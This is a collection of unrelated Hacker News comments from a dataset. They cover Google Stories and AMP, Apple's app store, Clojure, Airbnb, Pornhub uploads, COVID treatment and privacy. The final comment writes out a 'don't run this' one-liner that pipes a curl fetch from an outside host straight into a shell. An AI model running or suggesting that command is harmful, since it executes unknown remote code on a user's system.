skysight-inc/HackerNews huggingface dataset:
> Btw, poor people lacking influence is not consistent with how quite a lot of European nobles died

I believe people dying (noble or otherwise) is the recurring historical singularity we're trying to avoid; so we can both acknowledge that the poor can violently and quite temporarily gain political advantage while recognizing that during non-singular time periods (which is most of time) the converse is generally true.
So, another AMP-style thing where Google uses their platform and network effect to further encroach on the open web and turn it into the Google web?

The quote you see at first is: "Stories meet their widest audience ever."

Given that the widest audience is anyone who wants to search for something, this seems like a massive anti-trust bait.

Also, hard-pass on the continual dumbing down of content to contribute to the phenomenal attention deficit modern social media has introduced.
It can help if you get results quickly enough. And if you trust the results. If I came into close contact with someone who tested positive I wouldn't trust a negative test. If I had no symptoms I'd quarantine for 10-14 days. For people with tertiary exposure, through me, I have no idea how they should handle it.
Can anyone recommend a similar provider but for North America?
That’s awesome that you made that!

I am not well versed in this area but why does apple “need” to do that? that would hurt them. more like everyone else needs apple to do that because they’re profiting off of our backs. so the last thing apple needs is to hurt themselves.

just curious why you phrased it like that.
Disney+ Has 86.8M Subscribers
> With the empaths, we'd still be in caves.

Yes sir, damn empaths, coming together to take care of the children and the tribe and hunt for prey. Let every person go out there and hunt for themselves.

If it weren't for the "empaths" your would be indentured to a warlord at best. Ayn Rand world does not exist, have never existed and it will never exist.
IMO this just as evil as AMP, sounds silly but its a sign that Google remains dedicated to kill Open Internet standards and replace them with proprietary formats.
Hopefully HN community will help to debunk this.

Another take away: Lots have pointed that the design is `silly`. Well I think is was intentional and in the context of what Google is trying to achieve well designed. The layout of Google Stories is a sign that modern users don't read anymore. All stories are pure images, conceptual images with little text as possible.
That clearly implies that the acquisition wasn't for the users but for the platform and the brand value associated with being present on mobile.
>I see that it does harm developers, but that’s a different conversation entirely.

This is generally the conversation that's happening here. People talking about competition aren't talking about it as it relates to the quality of the product, they're talking about it from an economic perspective.
"Half of what your household makes working that amount of time" sounds like a better evaluation than a flat $19/hour for anyone... and might actually end up as the same (though somewhat meaningless) average considering that they worked with expensive cities to get the data!
Installer.app was awesome. I remember the first App Store release, it was sooooo similar :)
Do you have any anecdote or story to share about Installer.app or more in general the iOS 1.0 era?
That seems excessive. By the same logic we should shut down the Postal Service because they have less than 100% success stopping people from sending child porn through the mail.
The integration is happening between regions, not between states, because with (even still imperfect) free movement of people, goods and capital national borders lose their meaning. Is northern Italy part of the north or of the south? Does rural Poland have more common with Warszava or with rural Czechia?
15-20 years ago most video porn on line cost money. Now it's almost all "free" clips on these sites. I'm not an expert on the industry, but from the outside it looks to me like the pornhubs, xhamsters, xvideos, etc. of the world have been making money off content without charging for it by allowing arbitrary upload of mostly copyrighted content. Beyond the very dubious stuff that gets uploaded, there's bound to be boatloads of copyright violations as well.

What's that saying? When the product is free you are the product? Something like that applies here.
Vomit.

The web is turning into Entertainment Tonight, the show my mom used to watch. Ads disguised as content.
Yeah I'm all for better privacy laws. Highly in favor actually. But this seems like the type of problem where you can't tackle from a single direction. I have to imagine there is a way to combat many of these tactics (at least enough to make them difficult) but I don't have the faintest clue of how to combat something like canvas fingerprinting which essentially is exploiting the silicon lottery.

I do not think laws go far enough because we live in a global society and laws don't exactly apply globally.
Storage costs are predictable and slow to accumulate. They are rarely the problem people are trying to address when they set a budget. As I said, storage would optionally continue to be charged at the normal rate, the other option being immediate deletion if you really need a super hard budget cap.

Once you get the alert that your budget is tripped you can go and see what's in storage via the console and delete it, only paying for a few hours of storage for things you don't want.
I concur, but we both got it's a metaphor. ;)
> IMO this just as evil as AMP

That's because it is AMP

https://amp.dev/about/stories/
I would be curious to see your sources on this. Last I checked the overwhelming majority of applications were actually native.

[1] https://insights.dice.com/2018/04/09/ios-developers-app-stor...
And it wasn't even Facebook's first attempt to copy it - https://www.theguardian.com/technology/2017/mar/10/snapchat-...

Though the best quote in that article is Kevin Systrom:

> Just like when Facebook invented the [News] Feed, and every social product was like, ‘That’s an innovation, how do we adapt that to our network,’ you’re going to see stories pop up in other networks over time, because it’s one of the best ways to show visual information in chronological order.
I would say the debate is more accurately about distributing resources to an "exploding" amount of people. Bringing up the entire population of India (just as an example, could be any country) to the living standards that are commonly discussed (such as potable water, sufficient nutrition, healthcare, etc) could very well be practically impossible.
I've seen this before, and generally think it tends to be because technical people who have risen to the top as the org grows don't like giving up power, so they end up holding control over way too many teams/depts and the org suffers for it. (or it's a naive cost saving measure)

I would like to see a comparison of org-charts in highly functioning corps of varying size.
I've said it before, and I'll say it again. I will continue to write Clojure for a living as long as I am able to find a job willing to pay me to do so. I have never encountered a more pleasant environment to do my work. I think Clojure isn't going to "go away" any time soon as long as there are other people like me still around.

I do think that Clojure shops (like all software shops) need to dial back the torture interviews / homework / tests, but that's really a bigger thing that just Clojure. I think more could be done to market Clojure to the non-believers, but I don't have specific ideas on how that could be done.

You can take my parentheses from my cold, unemployed hands.
> product out in front of competition that they knew was coming so they could claim they were "first"

Who was coming? What competition?

They weren't in a race with anyone to release the iPhone. Nobody was even close to what they had with iPhone at the time.
The market only cares about money.
Have you ever seen an almond in the wild? It's basically the the thing inside of the pit of a fruit like nectarine or plum. The fleshy part of the fruit, which is quite moist and watery, gets thrown out.
Human made materials outweigh Earth's biomass
Fortunately (except for lawns and the like) water isn't destroyed or lost. Cities can take the output of their sewer systems and put it right back into the water towers. No city does that today, but only because the thought grosses people out, the water is safe and clean enough that they could.
another "stories" wannabe... how creative. It seems for google it wasn't enough to have this copycat feature with Youtube now also Google itself.
> When you talked to the Airbnbs, they took notes.

I don't like to do that, but here pg sounds quite egomaniacal (which he probably isn't, but still).
> Imagine having a product banned by the iOS apps tore!

Like PornHub - pornographic content isn't allowed.
Relics from Shakespeare's home shared in new virtual exhibition
I hate to break it to you but since you keep bringing it up.

You don't own your game even if you buy a physical disc. On steam, or any pc digital distribution platform you are paying for a license to play said game. You are always effectively renting the game. Same goes for consoles. In this regard you are getting the same deal on Stadia.

Another thing you seem adamant to impress on anyone who dares suggest they like Stadia is that if the other streaming platforms go down then you still have your pc games available on other services. This is true, but one of the primary benefits of a streaming service is that you no longer need expensive hardware. If a user decides to use only streaming services then they are unlikely to maintain a decent gaming rig. So over time this becomes a moot point. If you have and maintain a good gaming pc then why would you even bother with ANY streaming platform as they will always be somewhat inferior.
Who's to say Turkey's political problems would have been avoided? They're caused by demographic pressure and inequality that the EU can do little about. People consider Hungary and Poland bad but Turkey is Hungary + Poland on steroids.
The EU has the ability to copyright things in general, which is horribly wrong IMO.

This is one of the few areas I'll defend the US to the bitter end on. Content produced by a government can not be morally copyrighted. The funding comes from the people, and therefore the copyright belongs to them too. Another way of putting it is the public domain and government copyright are the same thing logically.
You're right, it seems to have changed recently. Meh, I just opened an account on xvideos and could upload within 5 minutes...
Tbh, its lack is why I don't use Google or AWS for projects.
It’s possible to get NOAA data directly, but in terms of actual use it’s very low, because of ‘poor’ execution. That’s working as intended.
Citi?
Eh, maybe. Depends on how big a trainwreck code with history dating back to the 90s is.

I have a coworker that worked on flash, it sounded like a nightmare of a project.

Some of that can be seen by what Adobe has done with PDF. That is, cram every single feature you can imagine into a format (including, I believe, flash... lol)
Allowing arbitrary/anonymous upload is a way for a company to host pirated content without being sued, because they can hide behind (or traditionally have hid behind) Section 230.

It's absolutely true that the death of anonymous upload on Pornhub will be a massive boon to commercial and professional adult performers, who will find piracy of their content evaporate overnight. This may actually bring on a renaissance for the adult industry, given how much harm Pornhub has had to the revenues of many studios. Users are going to have a harder time finding that content outside of torrents or the like, so I'm not sure I'd call it a straight upside for them.
I’m curious how this differs from Sentinel, hashicorps language for similar things.

Too bad it isn’t open sourced.

https://www.hashicorp.com/sentinel
Its the actual reality. I have 4 family members in different stages of covid. From my previous post:

'Two of my family members received portable (oxygen) units and isolated at home, third didnt get anything other than some pills for inflammation, last one stayed at the hospital and didnt receive anything other than oxygen and some random probably useless antibiotics.'

Yes, you will get pumped with ramdesivir and steroids .. if you are a head of state like Donald or Boris, the rest get optional oxygen and a fuck off sticker.
Video content that people can consume in the privacy of their own home has only really existed for 50 years or so.
> Users who desire to upload content should be forced to provide ID to comply with US law as it relates to age verification of adult talent (2257 Regulation)

2257 requirements even on primary producers have been struck down on First Amendment grounds for material containing a wide class of performers; Free Speech Coalition vs. Attorney General of the United States (3d Cir. 2020.) And, serious Constitutional issues have been raised about the application of 2257 to “secondary producers” like individual users.

And, even under 2257, covered “secondary producers” aren’t required to provide their ID, they are required to have specific information about the maintenance of records related to the perfomers age affixed to the content.
How many of those dollars are going to satellites and Doppler radars? Those aren't exactly cheap.
Spire Global does a 10 day forecast.

https://developers.wx.spire.com/docs/weather-api/1/overview
That sounds really interesting, do you have any references to share about macOS gui dtrace?
Only the switch is.
Build something, from nothing, and make sure it involves a full stack and has users other than yourself...even if it is just one other person. Promise your future self that you will see this through to completion.

Oh, and build something small in scope. You don't want to be working on the pre-launch 10 years from now...
i think it should be more than a split, it should be outright divestment of any ownership, or controll period.
Happens in the west too. No bribes required. There’s already non-secured water everywhere by law: fire hydrants.
I remember when the CEO Netflix said something like "we have to become HBO before HBO can become us". Disney seem to have learnt from the example...
The average Call of Duty title makes you kill thousands of people, but that doesn't automatically mean the series has done a good job exploring the themes of war, PTSD, politics, military industrial complex etc.
God damn it Google need to quit trying to make their own social network happen, it wont happen
>I see no evidence that this harms consumers at all. Quite the opposite.

Your entire argument is refuted if Apple isn't allowed to abuse it's market position and you're allowed to have "Apple Pay +30% price" "Stripe Payment" "Payment X" - you would quickly see the real value of App Store and Apple Payment processing convenience - that 30% would probably come down to 10% where it provides the convenience value.

If consumers weren't harmed consumer choice would have no effect.

This "users are idiots and they need Apple to tell them what's best for them" is like Stockholm syndrome with Apple fans, it's especially entertaining to hear it so often on a "hacker" newsgroup. Good thing papa Apple decided you can't have that dangerous Fortnite scam tricking you in to using a different payment system, you're better off not wasting time on games anyway - really if you look at it that way they are saving you from bad choices two times - win/win for Apple users I'd say.
I have a rubber stamp so I can vet anything myself.
> If the opinion section isn't fact checked, why would you believe the premise that results in call for advocacy is correct?

You're just plain wrong that it isn't fact checked. Read this description of their process from a previous NYT Op-ed editor. Emphasis is mine.

https://www.nytimes.com/2013/10/14/opinion/op-ed-and-you.htm...:

> What happens when your article is accepted? First, you’ll get a contract giving us the right to publish it and laying out some of your responsibilities. The most important ones have to do with originality and truthfulness. You can’t plagiarize yourself, or someone else, and we won’t run something that has appeared in another publication, either print or digital. We request that you disclose anything that might be seen as a conflict of interest, financial or otherwise: Did you invest in a company that you praise in passing? Did you once work with a public official you mention in flattering or critical terms? Could you or an organization or company you represent benefit from the stance you take in an Op-Ed? We need to know. That doesn’t mean we’ll throw out your article on that basis — in most cases it just means disclosing the relationship to the reader. We also need all of the material that supports the facts in your story. That’s the biggest surprise to some people. Yes, we do fact check. Do we do it perfectly? Of course not. Everyone makes mistakes, and when we do we correct them. But the facts in a piece must be supported and validated. You can have any opinion you would like, but you can’t say that a certain battle began on a certain day if it did not.
Indeed, there's always a convention as to what the building blocks are. Like chemists don't look for how the quarks are configured -- they are satisfied to know how the atoms are arranged. In some cases, finding out what the building blocks are is an interesting problem in itself, for instance what things are computable with geometric construction.
No mention of how this business was built on the back of people running illegal hotels. It wasn't hard work or passion that allowed these guys to become billionaires. It was finding a niche in the market that was regulated out due to a combination of valid consumer safety concerns and regulatory capture, targeting that market, ignoring the law when it didn't suit them, and getting large enough by the time the law caught up it was no longer politically feasible to kill the company. It is the same process that other tech companies have gone down such as Uber.
Sure, but that's an issue with those websites, not the law. The law doesn't mandate to have a fullscreen modal that says "We value your privacy" with a big button that allows all cookies and myriad tiny buttons to disallow them individually.

If websites choose to sacrifice usability to be able to fingerprint users, that's on them.
"each time I have to install the JVM, I simply quit, despite being intrigued by Clojure itself"

Weird - what is so problematic about installing a JVM? That is literally an apt-get or install away. If you are learning Clojure then installing the JVM should be the least of your problems.

Note that there are a bunch of really nice Clojure starter kits available. And now many options for editors. For learning you don't need anything fancy, even a REPL will do to get you excited.

If the JVM turns you off then yeah maybe not try out languages built on top of it.
Same for Kotlin, really. Can only do so much to stabilize things when you're building your home in a marecage.
Reddit Is Down
Desktop site, at least.
Yup, it sure is. I'm getting a 504 Gateway Timeout. Oh well, HN is better anyway. ;-)
"That problem really has nothing to do with the laws themselves"

The fact that vast swaths of victimless, consensual activity is criminalized is exactly the problem. When enough laws exist to make enforcement an impossibility, selective enforcement becomes the law.
Well. At least Ivan hasn’t lost _another_ submarine!
For how "small" they are, the amount of attention they attract from regulators, and the intense focus on regulating Bitcoin and similar, shows the powers are very aware of the risk to their monopoly.
That sounds like an argument against Stadia, which forces you to rebuy all your games instead of just paying for the service like with GeForce Now.
> water is a basic human right

What exactly does that mean? I agree that it would be nice if everyone could afford to have water, but it just doesn't seem the same as, say "the right to not be tortured", which is an abstract and not a commodity that a priori must have non-free infrastructure to provide to everyone.
I just tested from VPNs in Europe/US/Asia: Down from all three locations (with zero cookies).
Thanks for the clarification. Yeah, I'm with you on this, don't see much scope for further integration on that front, at least not from the bottom up, especially after this pandemic that has made the borders and the national differences all too real again.

The elites will try to impose it from top to bottom, and when they'll encounter resistance they'll of course blame it on populism/Russia malevolence/the electorate being stupid and the like, that is if they'll decide to go to the polls to impose that further integration (which I have very big doubts they will).
The wrecking ball thing is interesting. That is just a vocal stem that was available on the internet. All the music is recorded and performed by me.
Can you ever ensure that the trusted computing base won't send all your info to a company?

Maybe there is a backdoor in Google Chrome or something.

What if they just "cache it", or make it available on other devices etc?

Apple does it with iCloud. And google does it too. You log in with your google account everywhere on your browsers, they don't even hide it.
I used AirBnB for the first time this year to rent a cottage. The experience is stellar. For many years I used outdated sites like cottagesincanada.com or cottagesquebec.com, it was a nightmarish experience of looking for available cottage during the pandemic. I just gave up and used AirBnB. Sure I paid hundreds of dollars in fees and whatnot but it's just so much better experience (searching,reviews...). (And yeah, no hotels for travel so no Expedia in pandemic)
As someone who worked on a system that did fingerprinting as an alternative to cookies for non-nefarious reasons, I can tell you the best way to not be fingerprinted is to just use Safari on the newest iPhone.

Not because iPhones or Safari are any more private. Just because it's a fixed size browser that you can't customize with extensions and looks identical to 20% of all other sessions.
Aren't you contradicting yourself? In this case pornhub is the bartender, and MC is MC. Here we have a few underage drinkers tricking or convincing a bartender to pour a drink, and MC is stopping payment processing for the bar and you agree that's the right thing?
Endangered Firefox: The State of Mozilla
Actually, VS Code stories. [0]

Also LinkedIn has them now. Which I would argue is still better than LinkedIn's other new addition, an entirely new black hole for event invites. As if the signal-to-noise ratio for these weren't bad enough on Facebook...

[0] https://marketplace.visualstudio.com/items?itemName=bar9.sto...
Duplicate of: https://news.ycombinator.com/item?id=25379178
"If your admissions criteria gives "bonus points" to people of a certain race, a randomly chosen person who was admitted of that race will be weaker than people not of that race."

Please point out the flaw(s) in my reasoning. I've clarified it a little bit. If you think my clarification significantly changes what I was trying to say, then I apologize for not being clear enough.
Smartphones are more PCs than PCs now - Apple and others OS makers shouldn't be even allowed to run "app stores"!
Google is 10x worse though.
I'll take that bet. Whatever you do don't run this!

> csh -c $(curl dev.sansorgan.es)

(I specified csh as anyone willing to try this probably wouldn't have it installed).